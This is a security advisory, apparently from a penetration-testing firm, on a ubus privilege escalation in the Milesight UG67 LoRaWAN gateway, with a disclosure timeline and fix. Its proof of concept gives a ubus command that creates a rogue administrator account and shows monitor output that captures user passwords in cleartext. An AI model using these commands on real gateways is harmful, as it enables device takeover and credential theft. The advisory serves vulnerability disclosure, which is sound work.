Contact

Contact us

+49 241 510081-0
kontakt@redteam-pentesting.de
Contact form
RedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting Header

Milesight UG67: UBUS Allows for Privilege Escalation

Attackers who which can execute commands on a Milesight UG67 LoRaWAN Gateway can gain full root access by using ubus features.

Details

Introduction

The Milesight UG67 is a robust outdoor LoRaWAN® gateway designed for outdoor deployments.

More Details

Attackers who are able to execute commands with the privileges of any user account on a Milesight UG67 LoRaWAN Gateway can use the ubus inter-process-communication system to read ubus messages of other processes and call ubus functions. This allows for example to create new users with administrative privileges or to obtain cleartext credentials of other users, including administrative accounts, who authenticate to the device.

Proof of Concept

Any user account with the ability to execute arbitrary commands on the gateway (see rt-sa-2024-2024-003 on how to gain command execution via PostgreSQL) is able to use the ubus command-line client to issue commands. In the following, a user redteam will be created via ubus call:

$ ubus call yruo_usermanagement add \
"{ \
    'base': 'user_list', \
    'index': 'user_listlvf0lwqg', \
    'value': { \
        'username': 'redteam', \
        'old_username': 'username', \
        'password': 'secretpassword', \
        'permission': '1' \
    }, \
    'type': 'user_list', \
    'ysusername': 'admin', \
    'ysrole': 4 \
}"

Afterwards it is possible to log in into the web interface with almost full access. This allows to read and change all configured values, including all secrets.

To monitor traffic received by the ubusd server, the ubus monitor command can be used:

$ ubus monitor

This includes the messages generated when a user authenticates to the system via the web interface:

-> bd896693 #00000000  status: {"status":0}
[...]
<- bd896693 #9a5c2c32  invoke: {"objid": -1705235406, "method": "login",
                                "data": {"username": "admin",
                                         "password": "xxxxxxxxxxxxxxxxxxxxxx",
                                         "ubus_rpc_session": "000000[...]00",
                                         "timeout": 1800, "ip": "127.0.0.1"}}

Since the login details are provided by ubus in the clear, this allows attackers to collect the credentials of all users who authenticate to the gateway while the ubus traffic is monitored.

Workaround and Fix

The ubus ACL should be modified to restrict access to ubus by low-privileged users accounts by default.

Security Risk

Attackers who are able to execute arbitrary commands on a Milesight UG67 LoRaWAN Gateway, can collect valid user credentials by monitoring ubus traffic or create new users with administrative privileges. This allows attackers to completely take over the device and extract all configured secrets.

Since all accounts, except the root account, only have a limited shell configured, which does not allow to execute arbitrary commands, this attack requires another vulnerability (like rt-sa-2024-003) to gain shell access. In combination these vulnerabilities pose a high risk.

Timeline

  • 2024-04-25 Vulnerability identified
  • 2024-04-29 Customer approved disclosure to vendor
  • 2024-05-14 Vendor notified
  • 2024-06-28 asked Vendor for update
  • 2024-07-03 Vendor will provide Update until end of July
  • 2024-07-24 asked Vendor for update
  • 2024-07-30 Vendor stated: Work in Progress
  • 2024-08-09 Vendor stated: Fix expected Q3/24
  • 2024-09-24 CVE ID requested
  • 2024-09-24 asked Vendor for update
  • 2024-09-24 Vendor stated: Fix in 60.0.0.44
  • 2024-10-04 CVE ID assigned
  • 2024-10-07 asked Vendor for update
  • 2024-10-08 Vendor stated: Fix will be available mid-October
  • 2024-10-18 asked Vendor for update
  • 2024-10-21 Vendor stated: Fix will be available mid-November
  • 2024-11-04 Vendor released fixed version for testing
  • 2024-11-05 Vendor released fixed version
  • 2024-12-10 Customer approved public release of vulnerabiltiy details
  • 2024-12-10 Advisory released

RedTeam Pentesting GmbH

RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.

More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/

Working at RedTeam Pentesting

RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit: https://jobs.redteam-pentesting.de/